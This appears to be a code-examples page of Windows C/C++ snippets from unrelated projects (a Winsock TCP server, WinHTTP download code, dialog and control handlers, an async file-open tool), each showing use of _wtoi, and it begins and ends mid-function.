			// Find button list entry for most recent ID
			plist_entry = pdata->pCustomButtonList->Find (pdata->sControlID);

			// Use existing control if found
			if (plist_entry)
			{
				pcontrol = plist_entry->pControl;
			}
			else
			{
				// Create new control if not found and add to list
				pcontrol = new CCustomButton (pPBStructure->hInstance, pPBStructure->hWnd, pdata->nID);
				pdata->pCustomButtonList->AddEntry (new CControlListEntry (pcontrol));
			}

			break;
	}

	if (!pcontrol)
	{
		WRITELOG (L"Control type not available: %d", nControlType);
		return FALSE;
	}

	if (cmp (pparameter, L"visibility"))
	{
		if (cmp (pvalue, L"visible"))
			return pcontrol->Show ();
		else if (cmp (pvalue, L"hidden"))
			return pcontrol->Hide ();
		else
		{
			WRITELOG (L"Unknown visibility value: %s", pvalue);
			return FALSE;
		}
	}
	else if (cmp (pparameter, L"id"))
	{
		return pcontrol->SetID (pvalue);
	}
	
	//JMS 5/5/2010
	//add check for null values on numeric parameters
	else if (cmp (pparameter, L"left"))
	{
		if(pvalue == NULL || pvalue[0] == NULL)
			return pcontrol->SetLeft (0);
		else
		{	// JS can pass in integer values as floats -> check if a string is a float and then transform it to int.
			if (isFloat(pvalue)) return pcontrol->SetLeft (_wtoi (pvalue));
			else
			{
				WRITELOG (L"Unknown left value: %s", pvalue);
				return FALSE;
			}
		}
	}
	else if (cmp (pparameter, L"right"))
	{
		if(pvalue == NULL || pvalue[0] == NULL)
			return pcontrol->SetRight (0);
		else
		{
			// JS can pass in integer values as floats -> check if a string is a float and then transform it to int.
			if (isFloat(pvalue)) return pcontrol->SetRight (_wtoi (pvalue));
			else
			{
				WRITELOG (L"Unknown right value: %s", pvalue);
				return FALSE;
			}
		}
	}
	else if (cmp (pparameter, L"top"))
	{
		if(pvalue == NULL || pvalue[0] == NULL)
			return pcontrol->SetTop (0);
		else
		{
			// JS can pass in integer values as floats -> check if a string is a float and then transform it to int.
			if (isFloat(pvalue)) return pcontrol->SetTop (_wtoi (pvalue));
			else
			{
				WRITELOG (L"Unknown top value: %s", pvalue);
				return FALSE;
			}
		}
	}
	else if (cmp (pparameter, L"width"))
	{
		if(pvalue == NULL || pvalue[0] == NULL)
			return pcontrol->SetWidth (0);
		else
		{
			// JS can pass in integer values as floats -> check if a string is a float and then transform it to int.
			if (isFloat(pvalue)) return pcontrol->SetWidth (_wtoi (pvalue));
			else
			{
				WRITELOG (L"Unknown width value: %s", pvalue);
				return FALSE;
			}
		}
	}
	else if (cmp (pparameter, L"height"))
	{
		if(pvalue == NULL || pvalue[0] == NULL)
			return pcontrol->SetHeight (0);
		else
		{
			// JS can pass in integer values as floats -> check if a string is a float and then transform it to int.
			if (isFloat(pvalue)) return pcontrol->SetHeight (_wtoi (pvalue));
			else
			{
				WRITELOG (L"Unknown height value: %s", pvalue);
				return FALSE;
			}
		}
	}
	

	else if (cmp (pparameter, L"image"))
		return pcontrol->SetImage (pvalue);
	else if (cmp (pparameter, L"imageup"))
		return pcontrol->SetImageUp (pvalue);
	else if (cmp (pparameter, L"imagedown"))
		return pcontrol->SetImageDown (pvalue);
	else if (cmp (pparameter, L"color") || cmp (pparameter, L"colour"))
		return pcontrol->SetColour (pvalue);
	else if (cmp (pparameter, L"click"))
		return pcontrol->SetClick (pvalue);
	else if (cmp (pparameter, L"border"))
	{
		if (cmp (pvalue, L"visible"))
			return pcontrol->SetBorder (TRUE);
		else if (cmp (pvalue, L"hidden"))
			return pcontrol->SetBorder (FALSE);
		else
		{
			WRITELOG (L"Unknown border value: %s", pvalue);
			return FALSE;
		}
	}
	else
	{
		// See if the control wants any non-standard parameter not handled above
		if (pcontrol->SetMiscValue (pparameter, pvalue))
			return TRUE;

		WRITELOG (L"Unknown parameter: %s", pparameter);
		return FALSE;
	}

	return TRUE;
}
Example #17
0
int DoTcpServer()
{
    SOCKET listenSocket;
    SOCKET acceptSocket;
    int ipv6only = 0;
    int result;

    //wchar_t hostName[] = L"::";
    wchar_t serviceName[] = L"80";

    struct sockaddr_in6 localAddr = {0};
    struct sockaddr_in6 remoteAddr = {0};
    int remoteAddrSize = sizeof(remoteAddr);

    const wchar_t sendMessage[] = L"Yes, I am ñoño. I do not know what time is it.\r\n";
    wchar_t recvMessage[1024];
    const unsigned int recvMessageLength = 1024;

    WSABUF wsaBuffer;
    char recvBuffer[16];
    const unsigned int recvBufferLength = 16;

    char buffer[1024];
    const unsigned int bufferLength = 1024;
    DWORD bytesSent;
    DWORD bytesRecv;
    DWORD totalBytesRecv;
    DWORD flags = 0; // Don't forget to set this, this is an input parameter.

    // Create socket.
    listenSocket = socket(AF_INET6, SOCK_STREAM, 0);
    if (listenSocket == INVALID_SOCKET)
    {
        wprintf(L"socket failed with error %d\n", WSAGetLastError());
        return 1;
    }

    // Enable IPv4 and IPv6.
    result = setsockopt(
        listenSocket,
        IPPROTO_IPV6,
        IPV6_V6ONLY,
        (char*)&ipv6only,
        sizeof(ipv6only));
    if (result == SOCKET_ERROR)
    {
        wprintf(L"setsockopt failed with error %d\n", WSAGetLastError());
        closesocket(listenSocket);
        return 1;
    }

    // Set local address.
    localAddr.sin6_family = AF_INET6;
    localAddr.sin6_addr = in6addr_any;
    localAddr.sin6_flowinfo = NULL;
    localAddr.sin6_scope_struct.Value = 0;
    localAddr.sin6_port = htons((u_short)_wtoi(serviceName));
    if (localAddr.sin6_port == 0)
    {
        wprintf(L"Source port must be a legal UDP port.\n", WSAGetLastError());
        return 1;
    }


    // Bind socket.
    result = bind(listenSocket, (SOCKADDR*)&localAddr, sizeof(localAddr));
    if (result == SOCKET_ERROR)
    {
        // If localAddr is not properly initialized:
        // "WSAEAFNOSUPPORT (10047): Address family not supported by protocol family." error.
        // If port is already in use:
        // "WSAEADDRINUSE (10048): Address already in use." error. 
        wprintf(L"bind failed with error %d\n", WSAGetLastError());
        closesocket(listenSocket);
        return 1;
    }

    // Put socket to listen.
    result = listen(listenSocket, SOMAXCONN);
    if (result == SOCKET_ERROR)
    {
        wprintf(L"listen failed with error %d\n", WSAGetLastError());
        closesocket(listenSocket);
        return 1;
    }

    // TODO: Accept multiple connections.

    // Accept a client.
    // TODO: Add a condition callback function and play with the received information.
    acceptSocket = WSAAccept(
        listenSocket,
        (SOCKADDR*)&remoteAddr,
        &remoteAddrSize,
        NULL, // a callback function that will accept or reject the connection
        NULL); // data passed to the callback function

    // TODO: Print ip address and port for the remote socket.

    //// TODO: What is this for?
    //result = setsockopt(acceptSocket, SOL_SOCKET, SO_UPDATE_CONNECT_CONTEXT, NULL, 0);
    //if (result == SOCKET_ERROR)
    //{
    //    wprintf(L"setsockopt failed with error %d\n", WSAGetLastError());
    //    closesocket(listenSocket);
    //    closesocket(acceptSocket);
    //    return INVALID_SOCKET;
    //}

    // Receive request.
    // The data received must finish with "\r\n".
    wsaBuffer.buf = recvBuffer;
    wsaBuffer.len = recvBufferLength;
    totalBytesRecv = 0;
    while (totalBytesRecv < 2 ||
        buffer[totalBytesRecv - 2] != '\r' ||
        buffer[totalBytesRecv - 1] != '\n')
    {
        result = WSARecv(acceptSocket, &wsaBuffer, 1, &bytesRecv, &flags, NULL, NULL);
        if (result == SOCKET_ERROR)
        {
            // WSAECONNRESET (10054): Connection reset by peer.
            wprintf(L"WSARecv failed with error %d\n", WSAGetLastError());
            closesocket(listenSocket);
            closesocket(acceptSocket);
            return 1;
        }

        if (totalBytesRecv + bytesRecv >= bufferLength)
        {
            wprintf(L"There is not enough buffer.\n");
            closesocket(listenSocket);
            closesocket(acceptSocket);
            return 1;
        }
        CopyMemory(buffer + totalBytesRecv, recvBuffer, bytesRecv);
        totalBytesRecv += bytesRecv;
    }

    // Convert message from UTF-8 to unicode.
    // I think char is ISO-8859-1 and wchart_t is little-endian UTF-16.
    int charsWritten = MultiByteToWideChar(
        CP_UTF8,
        0, // flags
        buffer, // string to convert
        totalBytesRecv, // size in bytes, -1 if string is null-terminated
        recvMessage, // buffer for converted string
        recvMessageLength); // size of buffer
    if (charsWritten == 0)
    {
        wprintf(L"MultiByteToWideChar failed with error %d\n", WSAGetLastError());
        closesocket(listenSocket);
        closesocket(acceptSocket);
        return 1;
    }

    // Message received is not null-temrinated, add null character.
    recvMessage[charsWritten] = '\0';

    // Print received message.
    wprintf(L"%s\n", recvMessage);

    // Convert message from unicode to UTF-8.
    int utf8BufferLength = WideCharToMultiByte(
        CP_UTF8,
        0, // flags
        sendMessage, // unicode string to convert
        -1, // size in chars of unicode string, or -1 if it is null-terminated
        buffer, // buffer for converted string
        bufferLength, // size of buffer
        NULL, // default char
        NULL); // used default char inidcator
    if (utf8BufferLength == 0)
    {
        wprintf(L"WideCharToMultiByte failed with error %d\n", WSAGetLastError());
        closesocket(listenSocket);
        closesocket(acceptSocket);
        return 1;
    }

    // Do not send the null character.
    utf8BufferLength -= 1;

    // Send response.
    wsaBuffer.buf = buffer;
    wsaBuffer.len = utf8BufferLength;
    result = WSASend(acceptSocket, &wsaBuffer, 1, &bytesSent, 0, NULL, NULL);
    if (result == SOCKET_ERROR)
    {
        wprintf(L"WSASend failed with error %d\n", WSAGetLastError());
        closesocket(listenSocket);
        closesocket(acceptSocket);
        return 1;
    }

    // Close.
    closesocket(listenSocket);
    closesocket(acceptSocket);

    return 0;
}
// Creates the application window
HRESULT CApplication::CreateApplicationWindow()
{
    HRESULT hr = S_OK;

    WNDCLASSEX wcex = { 0 };

    wcex.cbSize = sizeof (wcex);
    wcex.style = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc = CApplication::WindowProc;
    wcex.cbClsExtra = 0;
    wcex.cbWndExtra = 0;
    wcex.hInstance = _hinstance;
    wcex.hIcon = NULL;
    wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground = static_cast<HBRUSH>(GetStockObject(WHITE_BRUSH));
    wcex.lpszMenuName = nullptr;
    wcex.lpszClassName = "MainWindowClass";
    wcex.hIconSm = NULL;

    hr = !RegisterClassEx(&wcex) ? E_FAIL : S_OK;

    if (SUCCEEDED(hr))
    {
        RECT rect = { 0, 0, _windowWidth, _windowHeight };

        AdjustWindowRect(&rect, WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX, FALSE);

        _hwnd = CreateWindowExW(
           0,
           L"MainWindowClass",
           L"DirectComposition Effects Sample",
           WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
           CW_USEDEFAULT,
           CW_USEDEFAULT,
           rect.right - rect.left,
           rect.bottom - rect.top,
           NULL,
           NULL,
           _hinstance,
           nullptr);

        if (_hwnd == NULL)
        {
            hr = E_UNEXPECTED;
        }
    }

    if (SUCCEEDED(hr))
    {
        WCHAR fontTypeface[32] = { 0 };

        hr = !LoadStringW(_hinstance, IDS_FONT_TYPEFACE, fontTypeface, ARRAYSIZE(fontTypeface)) ? E_FAIL : S_OK;

        if (SUCCEEDED(hr))
        {
            hr = StringCchCopyW(_fontTypeface, ARRAYSIZE(_fontTypeface), fontTypeface);
        }
    }

    if (SUCCEEDED(hr))
    {
        WCHAR fontHeightLogo[32] = { 0 };

        hr = !LoadStringW(_hinstance, IDS_FONT_HEIGHT_LOGO, fontHeightLogo, ARRAYSIZE(fontHeightLogo)) ? E_FAIL : S_OK;

        if (SUCCEEDED(hr))
        {
            _fontHeightLogo = _wtoi(fontHeightLogo);
        }
    }

    if (SUCCEEDED(hr))
    {
        WCHAR fontHeightTitle[32] = { 0 };

        hr = !LoadStringW(_hinstance, IDS_FONT_HEIGHT_TITLE, fontHeightTitle, ARRAYSIZE(fontHeightTitle)) ? E_FAIL : S_OK;

        if (SUCCEEDED(hr))
        {
            _fontHeightTitle = _wtoi(fontHeightTitle);
        }
    }

    if (SUCCEEDED(hr))
    {
        WCHAR fontHeightDescription[32] = { 0 };

        hr = !LoadStringW(_hinstance, IDS_FONT_HEIGHT_DESCRIPTION, fontHeightDescription, ARRAYSIZE(fontHeightDescription)) ? E_FAIL : S_OK;

        if (SUCCEEDED(hr))
        {
            _fontHeightDescription = _wtoi(fontHeightDescription);
        }
    }

    return hr;
}
Example #19
0
	void CGridFlashDlg::Read_FromTable()
	{
		m_EnableSaveBtn.EnableWindow(FALSE);
		int iitemp;
		m_bFinished=FALSE;
		GetDlgItem(IDC_FLASHBUTTON)->EnableWindow(FALSE);
		for(iitemp=0;iitemp<(int)m_grid_flash.size();iitemp++)
		{//get the grid value
			m_grid_flash.at(iitemp).hardware_revisin = _wtoi(m_FlexGrid.get_TextMatrix(iitemp+1,4));//hardware rev
			CString str_temp=m_FlexGrid.get_TextMatrix(iitemp+1,5);//software version ;;;;;product model

			if(str_temp==g_strTstat5a)
				m_grid_flash.at(iitemp).device =2;//Tstat5
			else if(str_temp==g_strTstat5b)
				m_grid_flash.at(iitemp).device =1;//Tstat5
			else if(str_temp==g_strTstat5b2)
				m_grid_flash.at(iitemp).device =3;//Tstat5
			else if(str_temp==g_strTstat5c)
				m_grid_flash.at(iitemp).device =4;//Tstat5
			else if(str_temp==g_strTstat5d)
				m_grid_flash.at(iitemp).device =12;//Tstat5D
			else if(str_temp==g_strTstat5f)
				m_grid_flash.at(iitemp).device =17;//Tstat
			else if(str_temp==g_strTstat5g)
				m_grid_flash.at(iitemp).device =18;//Tstat

			else if(str_temp==g_strTstat5e)
				m_grid_flash.at(iitemp).device =16;//Tstat
			else if(str_temp==g_strTstat5h)
				m_grid_flash.at(iitemp).device =19;//Tstat5
			else if(str_temp==g_strTstat6)
				m_grid_flash.at(iitemp).device =26;//Tstat6
			else if(str_temp==g_strTstat7)
				m_grid_flash.at(iitemp).device =27;//Tstat7

			else if(str_temp==g_strnetWork)
				m_grid_flash.at(iitemp).device =PM_NC;	
			else if(str_temp==_T("Solar"))
				m_grid_flash.at(iitemp).device =PM_SOLAR;
			else if(str_temp==_T("ZigBee"))
				m_grid_flash.at(iitemp).device =PM_ZIGBEE;
			else if(str_temp==_T("Led"))
				m_grid_flash.at(iitemp).device =LED_PRODUCT_MODEL;//Others
			else if(str_temp==_T("T3-PT10"))
				m_grid_flash.at(iitemp).device =PM_T3PT10;//Others
			else if(str_temp==_T("T3-8O"))
				m_grid_flash.at(iitemp).device =PM_T3IOA;//Others
			else if(str_temp==_T("T3-8I16O"))
				m_grid_flash.at(iitemp).device =T3_8I_16O_PRODUCT_MODEL;//Others
			else if(str_temp==_T("T3-32I"))
				m_grid_flash.at(iitemp).device =T3_32I_PRODUCT_MODEL;//Others
			else if(str_temp==_T("Others"))
				m_grid_flash.at(iitemp).device =LED_PRODUCT_MODEL;
			m_grid_flash.at(iitemp).hex_file_path=m_FlexGrid.get_TextMatrix(iitemp+1,8);//hex file path
			str_temp=m_FlexGrid.get_TextMatrix(iitemp+1,9);	
			if(str_temp.CompareNoCase(_T("true"))==0)
			{
				m_grid_flash.at(iitemp).flash_or_no =true;
				m_FlexGrid.put_TextMatrix(iitemp+1,9,_T(""));
			}
			else
			{
				m_grid_flash.at(iitemp).flash_or_no =false;

			}
			m_grid_flash.at(iitemp).save_settings =true;

		}

	}
Example #20
0
void CSubAction::DoChangeValue()
{
	CLocateDlg* pLocateDlg=GetLocateDlg();
	if (pLocateDlg==NULL || m_szValue==NULL)
		return;
	
	// Get handle to control
	CWnd Control(pLocateDlg->GetDlgItem(LOWORD(m_nControl)));
	HWND hInDialog=*pLocateDlg;

	if (Control.GetHandle()==NULL)
		Control.SetHandle(pLocateDlg->m_NameDlg.GetDlgItem(LOWORD(m_nControl)));
	if (Control.GetHandle()==NULL)
		Control.SetHandle(pLocateDlg->m_SizeDateDlg.GetDlgItem(LOWORD(m_nControl)));
	if (Control.GetHandle()==NULL)
		Control.SetHandle(pLocateDlg->m_AdvancedDlg.GetDlgItem(LOWORD(m_nControl)));

	ASSERT(Control.GetHandle()!=NULL);

	if (!Control.IsWindowEnabled())
		return;

	char szClass[100];
	GetClassName(Control,szClass,100);
	if (_stricmp(szClass,"EDIT")==0)
	{
		Control.SetWindowText(m_szValue);
		::SendMessage(Control.GetParent(),WM_COMMAND,MAKEWPARAM(m_nControl,EN_CHANGE),LPARAM((HWND)Control));
	}
	else if (_stricmp(szClass,"COMBOBOX")==0)
	{
		if ((Control.GetStyle()&CBS_DROPDOWNLIST)!=CBS_DROPDOWNLIST)
		{
			Control.SetWindowText(m_szValue);
			::SendMessage(Control.GetParent(),WM_COMMAND,MAKEWPARAM(m_nControl,CBN_EDITCHANGE),LPARAM((HWND)Control));
		}
		else
		{
			Control.SendMessage(CB_SETCURSEL,_wtoi(m_szValue));
			::SendMessage(Control.GetParent(),WM_COMMAND,MAKEWPARAM(m_nControl,CBN_SELCHANGE),LPARAM((HWND)Control));
		}
	}
	else if (_stricmp(szClass,"BUTTON")==0)
	{
		if (Control.GetStyle()&BS_CHECKBOX)  // This also takes radiobuttons
		{
			Control.SendMessage(BM_SETCHECK,_wtoi(m_szValue));
			::SendMessage(Control.GetParent(),WM_COMMAND,MAKEWPARAM(m_nControl,BN_CLICKED),LPARAM((HWND)Control));
		}
	}
	else if (_stricmp(szClass,"ComboBoxEx32")==0)
	{
		CComboBoxEx cb(Control);
		cb.SetCurSel(-1);
		cb.SetItemText(-1,m_szValue);
	}
	else if (_stricmp(szClass,"SysDateTimePick32")==0)
	{
		SYSTEMTIME st;
		GetLocalTime(&st);
		st.wHour=0;
		st.wMinute=0;
		st.wSecond=0;
		st.wMilliseconds=0;
		
		if (wcslen(m_szValue)>=8)
		{
			
		
			WCHAR szTemp[5];
			MemCopyW(szTemp,m_szValue,4);
			szTemp[4]='\0';
			st.wYear=(WORD)_wtol(szTemp);

			MemCopyW(szTemp,m_szValue+4,2);
			szTemp[2]='\0';
			st.wMonth=(WORD)_wtol(szTemp);

			MemCopyW(szTemp,m_szValue+6,2);
			szTemp[2]='\0';
			st.wDay=(WORD)_wtol(szTemp);

		}
		else
		{
			int nIndex=CTime::GetIndex(st.wDay,st.wMonth,st.wYear);
			if (m_szValue[0]='-')
				nIndex-=(WORD)_wtol(m_szValue+1);
			else 
				nIndex+=(WORD)_wtol(m_szValue);

			CTime::GetDayFromIndex(nIndex,st.wDay,st.wMonth,st.wYear);
		}
		Control.SendMessage(DTM_SETSYSTEMTIME,GDT_VALID,LPARAM(&st));
	}
}
Example #21
0
void
shoes_winhttp(LPCWSTR host, INTERNET_PORT port, LPCWSTR path, TCHAR **mem, ULONG memlen, HANDLE file,
  LPDWORD size, shoes_download_handler handler, void *data)
{
  DWORD len = 0, rlen = 0, status = 0, complete = 0, flen = 0, total = 0, written = 0;
  LPTSTR buf = SHOE_ALLOC_N(TCHAR, SHOES_BUFSIZE);
  LPTSTR fbuf = SHOE_ALLOC_N(TCHAR, SHOES_CHUNKSIZE);
  LPWSTR uagent = SHOE_ALLOC_N(WCHAR, SHOES_BUFSIZE);
  HINTERNET sess = NULL, conn = NULL, req = NULL;
  SHOES_TIME last = 0;

  if (buf == NULL || fbuf == NULL || uagent == NULL)
    goto done;

  _snwprintf(uagent, SHOES_BUFSIZE, L"Shoes/0.r%d (%S) %S/%d", SHOES_REVISION, SHOES_PLATFORM,
    SHOES_RELEASE_NAME, SHOES_BUILD_DATE);
  sess = WinHttpOpen(uagent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
    WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (sess == NULL)
    goto done;

  conn = WinHttpConnect(sess, host, port, 0);
  if (conn == NULL)
    goto done;

  req = WinHttpOpenRequest(conn, L"GET", path,
    NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
  if (req == NULL)
    goto done;

  if (!WinHttpSendRequest(req, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
    NULL, 0, 0, 0))
    goto done;

  if (!WinHttpReceiveResponse(req, NULL))
    goto done;

  len = sizeof(DWORD);
  if (!WinHttpQueryHeaders(req, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
    NULL, &status, &len, NULL))
    goto done;
  else
  {
    shoes_download_event event;
    event.stage = SHOES_HTTP_STATUS;
    event.status = status;
    if (handler != NULL) handler(&event, data);
  }

  shoes_winhttp_headers(req, handler, data);

  *size = 0;
  len = sizeof(buf);
  if (WinHttpQueryHeaders(req, WINHTTP_QUERY_CONTENT_LENGTH, NULL, buf, &len, NULL))
  {
    *size = _wtoi((wchar_t *)buf);
    if (*mem != NULL && *size > memlen)
    {
      SHOE_REALLOC_N(*mem, char, (memlen = *size));
      if (*mem == NULL) goto done;
    }
Example #22
0
void CSubAction::DoMisc()
{
	if (m_nMisc==ExecuteCommandMisc)
	{
		if (m_szCommand!=NULL)
			CLocateDlg::ExecuteCommand(m_szCommand);
		return;
	}
	else if (m_nMisc==InsertAsterisks)
	{
		CLocateDlg* pLocateDlg=GetLocateDlg();
		if (pLocateDlg==NULL)
			return;

		CStringW Text;
		pLocateDlg->m_NameDlg.m_Name.GetText(Text);
		DWORD dwSelStart=pLocateDlg->m_NameDlg.m_Name.GetEditSel();
		WORD wSelEnd=HIWORD(dwSelStart);
		dwSelStart&=0xFFFF;

		// If asterisks are already at the beginning and the end, replace spaces
		if (Text[0]==L'*' && Text.LastChar()==L'*')
			Text.ReplaceChars(L' ',L'*');
		else 
		{
			if (Text[0]!=L'*')
			{
				Text.InsChar(0,L'*');
				
				// Update selection
				if (dwSelStart==wSelEnd)
				{
					dwSelStart++;
					wSelEnd++;
				}
				else 
				{
					if (dwSelStart>0)
						dwSelStart++;
					wSelEnd++;
				}
			}
			
			if (Text.LastChar()!=L'*')
			{
				// Update selection first
				if (wSelEnd==Text.GetLength())
				{
					if (dwSelStart==wSelEnd)
						dwSelStart++;
					wSelEnd++; 
				}

				Text.Append(L'*');
			}
		}

		pLocateDlg->m_NameDlg.m_Name.SetText(Text);
		pLocateDlg->m_NameDlg.m_Name.SetEditSel(dwSelStart,wSelEnd);
		pLocateDlg->OnFieldChange(CLocateDlg::isNameChanged);
		return;
	}
	

	// Send/Post Message

	BOOL bFreeWParam=FALSE,bFreeLParam=FALSE;
	
	HWND hWnd=NULL;
	WPARAM wParam=NULL,lParam=NULL;

	if (m_pSendMessage->szWindow[0]=='0')
	{
		if (m_pSendMessage->szWindow[1]=='x' || 
			m_pSendMessage->szWindow[1]=='X')
		{
			// Hex value
			LPWSTR szTemp;
			hWnd=(HWND)wcstoul(m_pSendMessage->szWindow+2,&szTemp,16);
		}
	}
	else if (strcasecmp(m_pSendMessage->szWindow,L"HWND_BROADCAST")==0)
		hWnd=HWND_BROADCAST;
	else if (GetLocateDlg()!=NULL && strcasecmp(m_pSendMessage->szWindow,L"LOCATEDLG")==0)
		hWnd=*GetLocateDlg();
	else if (strcasecmp(m_pSendMessage->szWindow,L"LOCATEST")==0)
		hWnd=*GetTrayIconWnd();
	else if (wcsncmp(m_pSendMessage->szWindow,L"Find",4)==0)
	{
		int nIndex=(int)FirstCharIndex(m_pSendMessage->szWindow,L'(');
		if (nIndex!=-1)
		{
			LPCWSTR pText=m_pSendMessage->szWindow+nIndex+1;
			LPWSTR pClassAndWindow[3]={NULL,NULL,NULL};
			
			nIndex=(int)FirstCharIndex(pText,L',');
			if (nIndex==-1)
			{
				nIndex=(int)FirstCharIndex(pText,L')');
				if (nIndex==-1)
					pClassAndWindow[0]=alloccopy(pText);
				else
					pClassAndWindow[0]=alloccopy(pText,nIndex);
			}
			else
			{
				pClassAndWindow[0]=alloccopy(pText,nIndex);
				pText+=nIndex+1;

				nIndex=(int)FirstCharIndex(pText,L')');
				pClassAndWindow[1]=alloccopy(pText,nIndex);
			}

			EnumWindows(WindowEnumProc,LPARAM(pClassAndWindow));

			// Third cell is handle to window
			hWnd=(HWND)pClassAndWindow[2];

			delete[] pClassAndWindow[0];
			if (pClassAndWindow[1])
				delete[] pClassAndWindow[1];
		}
	}
	


	// Parse wParam
	if (m_pSendMessage->szWParam!=NULL)
	{
		if (m_pSendMessage->szWParam[0]=='0')
		{
			if (m_pSendMessage->szWParam[1]=='x' || 
				m_pSendMessage->szWParam[1]=='X')
			{
				// Hex value
				LPWSTR szTemp;
				wParam=(WPARAM)wcstoul(m_pSendMessage->szWParam+2,&szTemp,16);
			}
			else if (m_pSendMessage->szWParam[1]!='\0')
			{
				DWORD dwLength;
				wParam=(WPARAM)dataparser(m_pSendMessage->szWParam,istrlen(m_pSendMessage->szWParam),gmalloc,&dwLength);
				*((BYTE*)wParam+dwLength)=0;
				bFreeWParam=TRUE;
			}
		}
		else if ((wParam=_wtoi(m_pSendMessage->szWParam))==0)
		{
			DWORD dwLength;
			wParam=(WPARAM)dataparser(m_pSendMessage->szWParam,istrlen(m_pSendMessage->szWParam),gmalloc,&dwLength);
			*((BYTE*)wParam+dwLength)=0;
			bFreeWParam=TRUE;
		}
	}

	// Parse lParam
	if (m_pSendMessage->szLParam!=NULL)
	{
		if (m_pSendMessage->szLParam[0]=='0')
		{
			if (m_pSendMessage->szLParam[1]=='x' || 
				m_pSendMessage->szLParam[1]=='X')
			{
				// Hex value
				LPWSTR szTemp;
				lParam=(WPARAM)wcstoul(m_pSendMessage->szLParam+2,&szTemp,16);
			}
			else if (m_pSendMessage->szLParam[1]!='\0')
			{
				DWORD dwLength;
				lParam=(WPARAM)dataparser(m_pSendMessage->szLParam,istrlen(m_pSendMessage->szLParam),gmalloc,&dwLength);
				*((BYTE*)lParam+dwLength)=0;
				bFreeLParam=TRUE;
			}
		}
		else if ((lParam=_wtoi(m_pSendMessage->szLParam))==0)
		{
			DWORD dwLength;
			lParam=(WPARAM)dataparser(m_pSendMessage->szLParam,istrlen(m_pSendMessage->szLParam),gmalloc,&dwLength);
			*((BYTE*)lParam+dwLength)=0;
            bFreeLParam=TRUE;
		}
	}

	if (hWnd!=NULL)
	{
		if (m_nMisc==PostMessage)
			::PostMessage(hWnd,m_pSendMessage->nMessage,wParam,lParam);
		else
			::SendMessage(hWnd,m_pSendMessage->nMessage,wParam,lParam);
	}

	if (bFreeWParam)
		GlobalFree((HANDLE)wParam);
	if (bFreeLParam)
		GlobalFree((HANDLE)lParam);

}
//
// main
//
int __cdecl
wmain(int argc, wchar_t* argv[])
{
    PASYNC_CREATE_FILE_CONTEXT pContext     = NULL;
    LPCWSTR                    wszFileName  = NULL;
    DWORD                      dwWaitStatus = 0;
    DWORD                      dwTimeout    = 0;
    DWORD                      err          = 0;
	BOOL                       bReturnOnTimeout = FALSE;

    if (argc < 4) {
        printf("Usage %ls [file name] [timeout in milliseconds] [return on timeout - 0/1]\n", argv[0]);
        goto cleanup;
    }

    //
    // Get the command line arguments
    //
    wszFileName = argv[1];
    dwTimeout   = (DWORD)_wtoi(argv[2]);
	bReturnOnTimeout = (DWORD)_wtoi(argv[3]);

    //
    // Call CreateFile to check the existence of a file
    // 
    err = AsyncCreateFile( &pContext,
		                   wszFileName,
						   GENERIC_READ,
						   FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
						   NULL,
						   OPEN_EXISTING,
						   FILE_ATTRIBUTE_NORMAL,
						   NULL );

    if (!err) {

        printf("File found: %ls\n", wszFileName);
        goto cleanup;

	} else if (err != ERROR_IO_PENDING) {

       goto cleanup;
    }

	err = 0;

    //
    // Wait with timeout on the worker thread
    //
    dwWaitStatus = WaitForSingleObject(pContext->hThread, dwTimeout);

    switch (dwWaitStatus) {

    case WAIT_OBJECT_0: 

		//
        // Check the status after CreateFile completed
        //
        if (pContext->dwStatus != ERROR_SUCCESS) {

            err = pContext->dwStatus;

		} else {

			printf("File found: %ls\n", wszFileName);
		}

        break;
    
    case WAIT_TIMEOUT: 

		//
		// If we timeout, attempt to cancel the create.  Note that
		// this may not do anything depending on the current status of
		// the operation
		//
		
        CancelAsyncCreateFile(pContext);

		//
		// If the caller specified we should wait after the cancel call for
		// the create to complete, we do that here; otherwise we return
		// an error.
		//
		
		if (bReturnOnTimeout == TRUE) {

			err = ERROR_OPERATION_ABORTED;

		} else {

			dwWaitStatus = WaitForSingleObject(pContext->hThread, INFINITE);
			err = pContext->dwStatus;
		}

        break;

    default:
        
        err = GetLastError();
        break;
    }

cleanup:
    if (err) {

        if (err == ERROR_OPERATION_ABORTED) {

			if (bReturnOnTimeout == TRUE) {

				printf("Operation timed out while trying to open %ls\n", wszFileName);

			} else {

				//
				// If we waited for the create to complete and we still got 
				// this error code, we know that it was successfully cancelled.
				//
				printf("Operation timed out and was cancelled while trying to open %ls\n", wszFileName);
			}

        } else {

            printf("Error %u while trying to open %ls\n", err, wszFileName);
        }
    }

    if (pContext) {
        CleanupAsyncCreateFile(pContext);
    }

    return err ? 2 : 0;
}
Example #24
0
void CBacnetVariable::OnNMClickListVariable(NMHDR *pNMHDR, LRESULT *pResult)
{
	LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
	// TODO: Add your control notification handler code here
	long lRow,lCol;
	m_variable_list.Set_Edit(true);
	DWORD dwPos=GetMessagePos();//Get which line is click by user.Set the check box, when user enter Insert it will jump to program dialog
	CPoint point( LOWORD(dwPos), HIWORD(dwPos));
	m_variable_list.ScreenToClient(&point);
	LVHITTESTINFO lvinfo;
	lvinfo.pt=point;
	lvinfo.flags=LVHT_ABOVE;
	int nItem=m_variable_list.SubItemHitTest(&lvinfo);

	lRow = lvinfo.iItem;
	lCol = lvinfo.iSubItem;


	if(lRow>m_variable_list.GetItemCount()) //如果点击区超过最大行号,则点击是无效的
		return;
	if(lRow<0)
		return;



	CString temp1;
	m_row = lRow;
	m_col = lCol;

	memcpy_s(&m_temp_variable_data[lRow],sizeof(Str_variable_point),&m_Variable_data.at(lRow),sizeof(Str_variable_point));
	CString New_CString;
	CString temp_task_info;
